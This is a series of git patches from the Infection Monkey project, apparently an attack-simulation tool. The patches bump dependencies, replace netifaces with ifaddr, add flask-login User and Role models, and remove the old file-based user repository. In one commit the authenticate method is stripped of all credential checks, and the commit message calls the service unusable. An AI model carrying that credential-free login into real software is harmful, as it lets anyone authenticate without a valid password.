"python_version >= '3.7'", - "version": "==67.4.0" + "version": "==67.5.1" }, "six": { "hashes": [ @@ -1707,19 +1646,19 @@ }, "tqdm": { "hashes": [ - "sha256:5f4f682a004951c1b450bc753c710e9280c5746ce6ffedee253ddbcbf54cf1e4", - "sha256:6fee160d6ffcd1b1c68c65f14c829c22832bc401726335ce92c52d395944a6a1" + "sha256:1871fb68a86b8fb3b59ca4cdd3dcccbc7e6d613eeed31f4c332531977b89beb5", + "sha256:c4f53a17fe37e132815abceec022631be8ffe1b9381c2e6e30aa70edc99e9671" ], "index": "pypi", - "version": "==4.64.1" + "version": "==4.65.0" }, "types-python-dateutil": { "hashes": [ - "sha256:316c6b107d055bbd06324b71362e6104102220e6988aa4a388550aa3a8ad5d06", - "sha256:6b44741d3e79b2f2ba595f6bfa96f1a5091a00703848547efb3bc5b71df3cf9d" + "sha256:c640f2eb71b4b94a9d3bfda4c04250d29a24e51b8bad6e12fddec0cf6e96f7a3", + "sha256:fbecd02c19cac383bf4a16248d45ffcff17c93a04c0794be5f95d42c6aa5de39" ], "index": "pypi", - "version": "==2.8.19.8" + "version": "==2.8.19.10" }, "types-pytz": { "hashes": [ @@ -1771,11 +1710,11 @@ }, "zipp": { "hashes": [ - "sha256:188834565033387710d046e3fe96acfc9b5e86cbca7f39ff69cf21a4128198b7", - "sha256:9e5421e176ef5ab4c0ad896624e87a7b2f07aca746c9b2aa305952800cb8eecb" + "sha256:112929ad649da941c23de50f356a2b5570c954b65150642bccdd66bf194d224b", + "sha256:48904fc76a60e542af151aded95726c1a5c34ed43ab4134b597665c86d7ad556" ], "markers": "python_version >= '3.7'", - "version": "==3.14.0" + "version": "==3.15.0" } } } From fc021202eb348489b2a2cb99097d8649b434dada Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 10:54:11 -0500 Subject: [PATCH 0353/1338] Common: Use ifaddr instead of netifaces netifaces must be compiled, which leads to more development dependencies. ifaddr does not. See issue #3032 for more details --- monkey/common/network/network_utils.py | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index 71e7e70ac74..1c7c1ae8c42 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -1,8 +1,8 @@ import ipaddress from ipaddress import IPv4Address, IPv4Interface -from typing import List, Optional, Sequence, Tuple +from typing import Iterable, List, Optional, Sequence, Tuple -from netifaces import AF_INET, ifaddresses, interfaces +import ifaddr def get_my_ip_addresses() -> Sequence[IPv4Address]: @@ -11,18 +11,22 @@ def get_my_ip_addresses() -> Sequence[IPv4Address]: def get_network_interfaces() -> List[IPv4Interface]: local_interfaces = [] - for interface in interfaces(): - addresses = ifaddresses(interface).get(AF_INET, []) - local_interfaces.extend( - [ - ipaddress.IPv4Interface(link["addr"] + "/" + link["netmask"]) - for link in addresses - if link["addr"] != "127.0.0.1" - ] - ) + for adapter in ifaddr.get_adapters(): + for ip in _select_ipv4_ips(adapter.ips): + local_interfaces.append(ipaddress.IPv4Interface(f"{ip.ip}/{ip.network_prefix}")) + return local_interfaces +def _select_ipv4_ips(ips: Iterable[ifaddr.IP]) -> Iterable[ifaddr.IP]: + return filter(lambda ip: _is_ipv4(ip) and ip.ip != "127.0.0.1", ips) + + +def _is_ipv4(ip: ifaddr.IP) -> bool: + # In ifaddr, IPv4 addresses are strings, while IPv6 addresses are tuples + return type(ip.ip) is str + + # TODO: `address_to_port()` should return the port as an integer. def address_to_ip_port(address: str) -> Tuple[str, Optional[str]]: """ From 869feb1c314612e125259375981e4c88e648126b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 11:03:00 -0500 Subject: [PATCH 0354/1338] Build: Remove gcc dependency from Dockerfile --- build_scripts/docker/Dockerfile | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/build_scripts/docker/Dockerfile b/build_scripts/docker/Dockerfile index ff2cfa18e2c..806a4dacc0a 100644 --- a/build_scripts/docker/Dockerfile +++ b/build_scripts/docker/Dockerfile @@ -3,8 +3,7 @@ ARG PYTHON_VERSION=3.11 FROM python:$PYTHON_VERSION-slim as builder COPY ./monkey /monkey WORKDIR /monkey -RUN apt-get update && apt-get install -y gcc \ - && python -m venv . \ +RUN python -m venv . \ && export CI=1 \ && . bin/activate \ && pip install -U pip \ From fd2caa65176a0ff05850ccf99820e8c3f0b479b0 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 23 Feb 2023 15:45:51 +0000 Subject: [PATCH 0355/1338] Island: Add flask-login and flask-wtf to Pipfile --- monkey/monkey_island/Pipfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 9a1a0fc9ecc..4549bc51b9a 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -34,6 +34,8 @@ pydantic = "*" egg-timer = "*" pyyaml = "*" semver = "==2.13.0" +flask-login = "*" +flask-wtf = "*" [dev-packages] virtualenv = "==20.16.2" # Pinned to 20.16.2 due to importlib-metadat/flake8 issue From 716936757efff93d3e5e425f9632a5e0c3dd6693 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Feb 2023 17:06:25 +0100 Subject: [PATCH 0356/1338] Island: Add User model --- monkey/monkey_island/cc/models/user.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 monkey/monkey_island/cc/models/user.py diff --git a/monkey/monkey_island/cc/models/user.py b/monkey/monkey_island/cc/models/user.py new file mode 100644 index 00000000000..7ac4d37c08f --- /dev/null +++ b/monkey/monkey_island/cc/models/user.py @@ -0,0 +1,18 @@ +from __future__ import annotations + +from flask_login import UserMixin +from mongoengine import BooleanField, Document, ListField, ReferenceField, StringField + +from .role import Role + + +class User(Document, UserMixin): + username = StringField(max_length=255, unique=True) + password_hash = StringField() + active = BooleanField(default=True) + fs_uniquifier = StringField(max_length=64, unique=True) + roles = ListField(ReferenceField(Role), default=[]) + + @staticmethod + def get_by_id(id: str): + return User.objects.get(id) From 0ee856de5165227c788deab6e84902103f111efa Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Feb 2023 17:06:55 +0100 Subject: [PATCH 0357/1338] Island: Add Role model --- monkey/monkey_island/cc/models/role.py | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 monkey/monkey_island/cc/models/role.py diff --git a/monkey/monkey_island/cc/models/role.py b/monkey/monkey_island/cc/models/role.py new file mode 100644 index 00000000000..eaea0bd5aa1 --- /dev/null +++ b/monkey/monkey_island/cc/models/role.py @@ -0,0 +1,10 @@ +from __future__ import annotations + +from flask_login import RoleMixin +from mongoengine import Document, StringField + + +class Role(Document, RoleMixin): + name = StringField(max_length=80, unique=True) + description = StringField(max_length=255) + permissions = StringField(max_length=255) From 829832c0ddcedc9fdbfe97fcabc437bde0d1c84b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Feb 2023 17:07:16 +0100 Subject: [PATCH 0358/1338] Island: Import User and Role models in __init__ --- monkey/monkey_island/cc/models/__init__.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index e0e4fce7ce0..af5a1df930d 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -9,3 +9,5 @@ from common.types import AgentID from .agent import Agent from .terminate_all_agents import TerminateAllAgents +from .user import User +from .role import Role From 3bb9679bbfedd2c840d909dbb273f99f2ce898fd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Feb 2023 17:09:39 +0100 Subject: [PATCH 0359/1338] Project: Add User and Role params in vulture allowlist --- vulture_allowlist.py | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 6b1dffa352d..97628c46fa7 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -6,13 +6,6 @@ from common.agent_plugins import AgentPlugin, AgentPluginManifest from common.base_models import InfectionMonkeyModelConfig, MutableInfectionMonkeyModelConfig from common.credentials import LMHash, NTHash, SecretEncodingConfig -from common.hard_coded_manifests import HARD_CODED_PAYLOADS_MANIFESTS -from common.hard_coded_manifests.hard_coded_credential_collector_manifests import ( - HARD_CODED_CREDENTIAL_COLLECTOR_MANIFESTS, -) -from common.hard_coded_manifests.hard_coded_fingerprinter_manifests import ( - HARD_CODED_FINGERPRINTER_MANIFESTS, -) from common.types import Lock, NetworkPort, PluginName from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from infection_monkey.exploit.tools import generate_brute_force_credentials, secret_type_filter @@ -22,15 +15,6 @@ from monkey_island.cc.deployment import Deployment from monkey_island.cc.models import Agent, IslandMode, Machine from monkey_island.cc.repositories import IAgentEventRepository, MongoAgentEventRepository -from monkey_island.cc.repositories.utils.hard_coded_credential_collector_schemas import ( - HARD_CODED_CREDENTIAL_COLLECTOR_SCHEMAS, -) -from monkey_island.cc.repositories.utils.hard_coded_fingerprinter_schemas import ( - HARD_CODED_FINGERPRINTER_SCHEMAS, -) -from monkey_island.cc.repositories.utils.hard_coded_payloads_schemas import ( - HARD_CODED_PAYLOADS_SCHEMAS, -) from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation # Pydantic configurations are not picked up From 5b13db69c2ec1f1c019b8714d3cf7226ffe07834 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Feb 2023 17:37:04 +0100 Subject: [PATCH 0360/1338] Island: Remove registered IUserRepository instance --- monkey/monkey_island/cc/services/initialize.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py index ab85b568bb2..dc048789fd8 100644 --- a/monkey/monkey_island/cc/services/initialize.py +++ b/monkey/monkey_island/cc/services/initialize.py @@ -50,8 +50,6 @@ IMachineRepository, INodeRepository, ISimulationRepository, - IUserRepository, - JSONFileUserRepository, LocalStorageFileRepository, MongoAgentEventRepository, MongoAgentRepository, @@ -164,7 +162,6 @@ def _register_repositories(container: DIContainer, data_dir: Path): container.register_instance( ICredentialsRepository, container.resolve(MongoCredentialsRepository) ) - container.register_instance(IUserRepository, container.resolve(JSONFileUserRepository)) container.register_instance(IAgentEventRepository, container.resolve(MongoAgentEventRepository)) container.register_instance(INodeRepository, container.resolve(MongoNodeRepository)) From 2f83797cb12448f726d3ecd09015212f2c6cfa70 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Feb 2023 17:37:52 +0100 Subject: [PATCH 0361/1338] Island: Remove JSONFileUserRepository --- .../repositories/json_file_user_repository.py | 57 --------- .../test_json_file_user_repository.py | 111 ------------------ 2 files changed, 168 deletions(-) delete mode 100644 monkey/monkey_island/cc/repositories/json_file_user_repository.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/repositories/test_json_file_user_repository.py diff --git a/monkey/monkey_island/cc/repositories/json_file_user_repository.py b/monkey/monkey_island/cc/repositories/json_file_user_repository.py deleted file mode 100644 index 9c6b8149749..00000000000 --- a/monkey/monkey_island/cc/repositories/json_file_user_repository.py +++ /dev/null @@ -1,57 +0,0 @@ -import json -from pathlib import Path - -from common.utils.exceptions import ( - AlreadyRegisteredError, - InvalidRegistrationCredentialsError, - UnknownUserError, -) -from common.utils.file_utils import open_new_securely_permissioned_file -from monkey_island.cc.models import UserCredentials -from monkey_island.cc.repositories import IUserRepository - -CREDENTIALS_FILE = "credentials.json" - - -class JSONFileUserRepository(IUserRepository): - def __init__(self, data_dir: Path): - self._credentials = None - self._credentials_file = data_dir / CREDENTIALS_FILE - - if self._credentials_file.exists(): - self._credentials = self._load_from_file() - - def _load_from_file(self) -> UserCredentials: - with open(self._credentials_file, "r") as f: - credentials_dict = json.load(f) - - return UserCredentials(credentials_dict["user"], credentials_dict["password_hash"]) - - def has_registered_users(self) -> bool: - return self._credentials is not None - - def add_user(self, credentials: UserCredentials): - if credentials is None: - raise InvalidRegistrationCredentialsError("Credentials can not be 'None'") - elif not credentials.username: - raise InvalidRegistrationCredentialsError("Username can not be empty") - elif not credentials.password_hash: - raise InvalidRegistrationCredentialsError("Password hash can not be empty") - - if self._credentials: - raise AlreadyRegisteredError( - "User has already been registered. Reset credentials or login." - ) - - self._credentials = credentials - self._store_credentials_to_file() - - def _store_credentials_to_file(self): - with open_new_securely_permissioned_file(self._credentials_file, "w") as f: - json.dump(self._credentials.to_dict(), f, indent=2) - - def get_user_credentials(self, username: str) -> UserCredentials: - if self._credentials is None or self._credentials.username != username: - raise UnknownUserError(f"User {username} does not exist.") - - return self._credentials diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_json_file_user_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_json_file_user_repository.py deleted file mode 100644 index d8aae5fd185..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_json_file_user_repository.py +++ /dev/null @@ -1,111 +0,0 @@ -import os -import stat - -import pytest -from tests.monkey_island.utils import assert_windows_permissions - -from common.utils.environment import is_windows_os -from common.utils.exceptions import ( - AlreadyRegisteredError, - InvalidRegistrationCredentialsError, - UnknownUserError, -) -from monkey_island.cc.models import UserCredentials -from monkey_island.cc.repositories.json_file_user_repository import ( - CREDENTIALS_FILE, - JSONFileUserRepository, -) - -USERNAME = "test" -PASSWORD_HASH = "DEADBEEF" - - -@pytest.fixture -def empty_datastore(tmp_path): - return JSONFileUserRepository(tmp_path) - - -@pytest.fixture -def populated_datastore(data_for_tests_dir): - return JSONFileUserRepository(data_for_tests_dir) - - -@pytest.fixture -def credentials_file_path(tmp_path): - return tmp_path / CREDENTIALS_FILE - - -def test_has_registered_users_pre_registration(empty_datastore): - assert not empty_datastore.has_registered_users() - - -def test_has_registered_users_after_registration(populated_datastore): - assert populated_datastore.has_registered_users() - - -def test_add_user(empty_datastore, credentials_file_path): - datastore = empty_datastore - - datastore.add_user(UserCredentials(USERNAME, PASSWORD_HASH)) - assert datastore.has_registered_users() - assert credentials_file_path.exists() - - -@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") -def test_add_user__term_posix(empty_datastore, credentials_file_path): - empty_datastore.add_user(UserCredentials(USERNAME, PASSWORD_HASH)) - st = os.stat(credentials_file_path) - - expected_mode = stat.S_IRUSR | stat.S_IWUSR - actual_mode = st.st_mode & (stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) - - assert expected_mode == actual_mode - - -@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") -def test_add_user__term_windows(empty_datastore, credentials_file_path): - datastore = empty_datastore - - datastore.add_user(UserCredentials(USERNAME, PASSWORD_HASH)) - assert_windows_permissions(str(credentials_file_path)) - - -def test_add_user__None_creds(empty_datastore): - with pytest.raises(InvalidRegistrationCredentialsError): - empty_datastore.add_user(None) - - -def test_add_user__empty_username(empty_datastore): - with pytest.raises(InvalidRegistrationCredentialsError): - empty_datastore.add_user(UserCredentials("", PASSWORD_HASH)) - - -def test_add_user__empty_password_hash(empty_datastore): - with pytest.raises(InvalidRegistrationCredentialsError): - empty_datastore.add_user(UserCredentials(USERNAME, "")) - - -def test_add_user__already_registered(populated_datastore): - with pytest.raises(AlreadyRegisteredError): - populated_datastore.add_user(UserCredentials("new_user", "new_hash")) - - -def test_get_user_credentials_from_file(tmp_path): - empty_datastore = JSONFileUserRepository(tmp_path) - empty_datastore.add_user(UserCredentials(USERNAME, PASSWORD_HASH)) - - populated_datastore = JSONFileUserRepository(tmp_path) - stored_user = populated_datastore.get_user_credentials(USERNAME) - - assert stored_user.username == USERNAME - assert stored_user.password_hash == PASSWORD_HASH - - -def test_get_unknown_user(populated_datastore): - with pytest.raises(UnknownUserError): - populated_datastore.get_user_credentials("unregistered_user") - - -def test_get_user_credentials__no_user_registered(empty_datastore): - with pytest.raises(UnknownUserError): - empty_datastore.get_user_credentials("unregistered_user") From ee5f38e45df38fbc85891aff6ecedb8b39585d54 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Feb 2023 17:43:43 +0100 Subject: [PATCH 0362/1338] Island: Remove IUserRepository from AuthenticationService Now AuthenticationService is practically unusable --- .../cc/services/authentication_service.py | 51 +----- .../services/test_authentication_service.py | 150 +----------------- 2 files changed, 8 insertions(+), 193 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 1aa8cc298c0..9c7455f086d 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -1,15 +1,8 @@ from pathlib import Path -import bcrypt - -from common.utils.exceptions import ( - IncorrectCredentialsError, - InvalidRegistrationCredentialsError, - UnknownUserError, -) +from common.utils.exceptions import InvalidRegistrationCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode, UserCredentials -from monkey_island.cc.repositories import IUserRepository +from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -21,23 +14,13 @@ class AuthenticationService: def __init__( self, data_dir: Path, - user_repository: IUserRepository, repository_encryptor: ILockableEncryptor, island_event_queue: IIslandEventQueue, ): self._data_dir = data_dir - self._user_repository = user_repository self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue - def needs_registration(self) -> bool: - """ - Checks if a user is already registered on the Island - - :return: Whether registration is required on the Island - """ - return not self._user_repository.has_registered_users() - def register_new_user(self, username: str, password: str): """ Registers a new user on the Island, then resets the encryptor and database @@ -49,9 +32,6 @@ def register_new_user(self, username: str, password: str): if not username or not password: raise InvalidRegistrationCredentialsError("Username or password can not be empty.") - credentials = UserCredentials(username, _hash_password(password)) - self._user_repository.add_user(credentials) - self._island_event_queue.publish(IslandEventTopic.CLEAR_SIMULATION_DATA) self._island_event_queue.publish(IslandEventTopic.RESET_AGENT_CONFIGURATION) self._island_event_queue.publish( @@ -61,14 +41,6 @@ def register_new_user(self, username: str, password: str): self._reset_repository_encryptor(username, password) def authenticate(self, username: str, password: str): - try: - registered_user = self._user_repository.get_user_credentials(username) - except UnknownUserError: - raise IncorrectCredentialsError() - - if not _credentials_match_registered_user(username, password, registered_user): - raise IncorrectCredentialsError() - self._unlock_repository_encryptor(username, password) def _unlock_repository_encryptor(self, username: str, password: str): @@ -81,24 +53,5 @@ def _reset_repository_encryptor(self, username: str, password: str): self._repository_encryptor.unlock(secret.encode()) -def _hash_password(plaintext_password: str) -> str: - salt = bcrypt.gensalt() - password_hash = bcrypt.hashpw(plaintext_password.encode("utf-8"), salt) - - return password_hash.decode() - - -def _credentials_match_registered_user( - username: str, password: str, registered_user: UserCredentials -) -> bool: - return (registered_user.username == username) and _password_matches_hash( - password, registered_user.password_hash - ) - - -def _password_matches_hash(plaintext_password: str, password_hash: str) -> bool: - return bcrypt.checkpw(plaintext_password.encode("utf-8"), password_hash.encode("utf-8")) - - def _get_secret_from_credentials(username: str, password: str) -> str: return f"{username}:{password}" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index eb566bd97bb..510ff506e63 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -2,15 +2,9 @@ import pytest -from common.utils.exceptions import ( - AlreadyRegisteredError, - IncorrectCredentialsError, - InvalidRegistrationCredentialsError, - UnknownUserError, -) +from common.utils.exceptions import InvalidRegistrationCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode, UserCredentials -from monkey_island.cc.repositories import IUserRepository +from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services import AuthenticationService @@ -19,22 +13,6 @@ PASSWORD_HASH = "$2b$12$YsGjjuJFddYJ6z5S5/nMCuKkCzKHB1AWY9SXkQ02i25d8TgdhIRS2" -class MockUserDatastore(IUserRepository): - def __init__(self, has_registered_users, add_user, get_user_credentials): - self._has_registered_users = has_registered_users - self._add_user = add_user - self._get_user_credentials = get_user_credentials - - def has_registered_users(self): - return self._has_registered_users() - - def add_user(self, credentials: UserCredentials): - return self._add_user(credentials) - - def get_user_credentials(self, username: str) -> UserCredentials: - return self._get_user_credentials(username) - - # Some tests have these fixtures as arguments even though `autouse=True`, because # to access the object that a fixture returns, it needs to be specified as an argument. # See https://stackoverflow.com/a/37046403. @@ -50,67 +28,10 @@ def mock_island_event_queue(autouse=True): return MagicMock(spec=IIslandEventQueue) -def test_needs_registration__true(tmp_path): - has_registered_users = False - mock_user_datastore = MockUserDatastore(lambda: has_registered_users, None, None) - - a_s = AuthenticationService( - tmp_path, mock_user_datastore, mock_repository_encryptor, mock_island_event_queue - ) - - assert a_s.needs_registration() - - -def test_needs_registration__false(tmp_path): - has_registered_users = True - mock_user_datastore = MockUserDatastore(lambda: has_registered_users, None, None) - - a_s = AuthenticationService( - tmp_path, mock_user_datastore, mock_repository_encryptor, mock_island_event_queue - ) - - assert not a_s.needs_registration() - - -@pytest.mark.slow -@pytest.mark.parametrize("error", [InvalidRegistrationCredentialsError, AlreadyRegisteredError]) -def test_register_new_user__fails(tmp_path, mock_repository_encryptor, error): - mock_user_datastore = MockUserDatastore(lambda: True, MagicMock(side_effect=error), None) - - a_s = AuthenticationService( - tmp_path, mock_user_datastore, mock_repository_encryptor, mock_island_event_queue - ) - - with pytest.raises(error): - a_s.register_new_user(USERNAME, PASSWORD) - - mock_repository_encryptor.reset_key().assert_not_called() - mock_repository_encryptor.unlock.assert_not_called() - - -@pytest.mark.slow -@pytest.mark.parametrize("error", [InvalidRegistrationCredentialsError, AlreadyRegisteredError]) -def test_register_new_user_fails__publish_to_event_topic(tmp_path, error, mock_island_event_queue): - mock_user_datastore = MockUserDatastore(lambda: True, MagicMock(side_effect=error), None) - - a_s = AuthenticationService( - tmp_path, mock_user_datastore, mock_repository_encryptor, mock_island_event_queue - ) - - with pytest.raises(error): - a_s.register_new_user(USERNAME, PASSWORD) - - mock_island_event_queue.publish.assert_not_called() - - def test_register_new_user__empty_password_fails( tmp_path, mock_repository_encryptor, mock_island_event_queue ): - mock_user_datastore = MockUserDatastore(lambda: False, None, None) - - a_s = AuthenticationService( - tmp_path, mock_user_datastore, mock_repository_encryptor, mock_island_event_queue - ) + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) with pytest.raises(InvalidRegistrationCredentialsError): a_s.register_new_user(USERNAME, "") @@ -122,18 +43,10 @@ def test_register_new_user__empty_password_fails( @pytest.mark.slow def test_register_new_user(tmp_path, mock_repository_encryptor, mock_island_event_queue): - mock_add_user = MagicMock() - mock_user_datastore = MockUserDatastore(lambda: False, mock_add_user, None) - - a_s = AuthenticationService( - tmp_path, mock_user_datastore, mock_repository_encryptor, mock_island_event_queue - ) + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) a_s.register_new_user(USERNAME, PASSWORD) - assert mock_add_user.call_args[0][0].username == USERNAME - assert mock_add_user.call_args[0][0].password_hash != PASSWORD - mock_repository_encryptor.reset_key.assert_called_once() mock_repository_encryptor.unlock.assert_called_once() assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME @@ -143,12 +56,7 @@ def test_register_new_user(tmp_path, mock_repository_encryptor, mock_island_even def test_register_new_user__publish_to_event_topics( tmp_path, mock_repository_encryptor, mock_island_event_queue ): - mock_add_user = MagicMock() - mock_user_datastore = MockUserDatastore(lambda: False, mock_add_user, None) - - a_s = AuthenticationService( - tmp_path, mock_user_datastore, mock_repository_encryptor, mock_island_event_queue - ) + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) a_s.register_new_user(USERNAME, PASSWORD) @@ -164,54 +72,8 @@ def test_register_new_user__publish_to_event_topics( @pytest.mark.slow def test_authenticate__success(tmp_path, mock_repository_encryptor): - mock_user_datastore = MockUserDatastore( - lambda: True, - None, - lambda _: UserCredentials(USERNAME, PASSWORD_HASH), - ) - - a_s = AuthenticationService( - tmp_path, mock_user_datastore, mock_repository_encryptor, mock_island_event_queue - ) + a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) # If authentication fails, this function will raise an exception and the test will fail. a_s.authenticate(USERNAME, PASSWORD) mock_repository_encryptor.unlock.assert_called_once() - - -@pytest.mark.slow -@pytest.mark.parametrize( - ("username", "password"), [("wrong_username", PASSWORD), (USERNAME, "wrong_password")] -) -def test_authenticate__failed_wrong_credentials( - tmp_path, username, password, mock_repository_encryptor -): - mock_user_datastore = MockUserDatastore( - lambda: True, - None, - lambda _: UserCredentials(USERNAME, PASSWORD_HASH), - ) - - a_s = AuthenticationService( - tmp_path, mock_user_datastore, mock_repository_encryptor, mock_island_event_queue - ) - - with pytest.raises(IncorrectCredentialsError): - a_s.authenticate(username, password) - - mock_repository_encryptor.unlock.assert_not_called() - - -def test_authenticate__failed_no_registered_user(tmp_path, mock_repository_encryptor): - mock_user_datastore = MockUserDatastore( - lambda: True, None, MagicMock(side_effect=UnknownUserError) - ) - - a_s = AuthenticationService( - tmp_path, mock_user_datastore, mock_repository_encryptor, mock_island_event_queue - ) - - with pytest.raises(IncorrectCredentialsError): - a_s.authenticate(USERNAME, PASSWORD) - - mock_repository_encryptor.unlock.assert_not_called() From 83e1950148dbd4de3508e1c2c250110dcca72ab4 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Feb 2023 17:46:51 +0100 Subject: [PATCH 0363/1338] Island: Remove IUserRepository --- .../monkey_island/cc/repositories/__init__.py | 2 -- .../cc/repositories/i_user_repository.py | 36 ------------------- 2 files changed, 38 deletions(-) delete mode 100644 monkey/monkey_island/cc/repositories/i_user_repository.py diff --git a/monkey/monkey_island/cc/repositories/__init__.py b/monkey/monkey_island/cc/repositories/__init__.py index a31c58c8653..529e38fafdf 100644 --- a/monkey/monkey_island/cc/repositories/__init__.py +++ b/monkey/monkey_island/cc/repositories/__init__.py @@ -5,7 +5,6 @@ from .i_agent_binary_repository import IAgentBinaryRepository from .i_simulation_repository import ISimulationRepository from .i_credentials_repository import ICredentialsRepository -from .i_user_repository import IUserRepository from .i_machine_repository import IMachineRepository from .i_agent_repository import IAgentRepository from .i_node_repository import INodeRepository @@ -25,7 +24,6 @@ from .agent_binary_repository import AgentBinaryRepository from .file_simulation_repository import FileSimulationRepository -from .json_file_user_repository import JSONFileUserRepository from .mongo_credentials_repository import MongoCredentialsRepository from .mongo_machine_repository import MongoMachineRepository from .mongo_agent_repository import MongoAgentRepository diff --git a/monkey/monkey_island/cc/repositories/i_user_repository.py b/monkey/monkey_island/cc/repositories/i_user_repository.py deleted file mode 100644 index 906037b2a74..00000000000 --- a/monkey/monkey_island/cc/repositories/i_user_repository.py +++ /dev/null @@ -1,36 +0,0 @@ -import abc - -from monkey_island.cc.models import UserCredentials - - -class IUserRepository(metaclass=abc.ABCMeta): - """ - Allows user credentials to be stored and retrieved. - """ - - @abc.abstractmethod - def has_registered_users(self) -> bool: - """ - Checks if there are any registered user. - :return: True if any users have been registered, False otherwise - :rtype: bool - """ - - @abc.abstractmethod - def add_user(self, credentials: UserCredentials): - """ - Adds a new user to the datastore. - :param UserCreds credentials: New user credentials to persistant storage. - :raises InvalidRegistrationCredentialsError: if the credentials are malformed - :raises AlreadyRegisteredError: if the user has already been registered - """ - - @abc.abstractmethod - def get_user_credentials(self, username: str) -> UserCredentials: - """ - Gets the user matching `username` from storage. - :param str username: The username for which credentials will be retrieved - :return: User credentials for username - :rtype: UserCreds - :raises UnknownUserError: if the username does not exist - """ From 56f35321b2dc38bf055b85c06842a934e4e9c075 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Feb 2023 17:47:21 +0100 Subject: [PATCH 0364/1338] Island: Remove unused UserCredentials model --- monkey/monkey_island/cc/models/__init__.py | 1 - .../cc/models/user_credentials.py | 20 ----------- .../cc/models/test_user_credentials.py | 36 ------------------- 3 files changed, 57 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/user_credentials.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/models/test_user_credentials.py diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index af5a1df930d..7f584a500fc 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -1,7 +1,6 @@ # Order of importing matters here, for registering the embedded and referenced documents before # using them. from .simulation import Simulation, IslandMode -from .user_credentials import UserCredentials from common.types import MachineID from .machine import Machine, NetworkServices from .communication_type import CommunicationType diff --git a/monkey/monkey_island/cc/models/user_credentials.py b/monkey/monkey_island/cc/models/user_credentials.py deleted file mode 100644 index 0e2c290b42e..00000000000 --- a/monkey/monkey_island/cc/models/user_credentials.py +++ /dev/null @@ -1,20 +0,0 @@ -from __future__ import annotations - -from typing import Dict - - -class UserCredentials: - def __init__(self, username, password_hash): - self.username = username - self.password_hash = password_hash - - def __bool__(self) -> bool: - return bool(self.username and self.password_hash) - - def to_dict(self) -> Dict: - cred_dict = {} - if self.username: - cred_dict.update({"user": self.username}) - if self.password_hash: - cred_dict.update({"password_hash": self.password_hash}) - return cred_dict diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_user_credentials.py 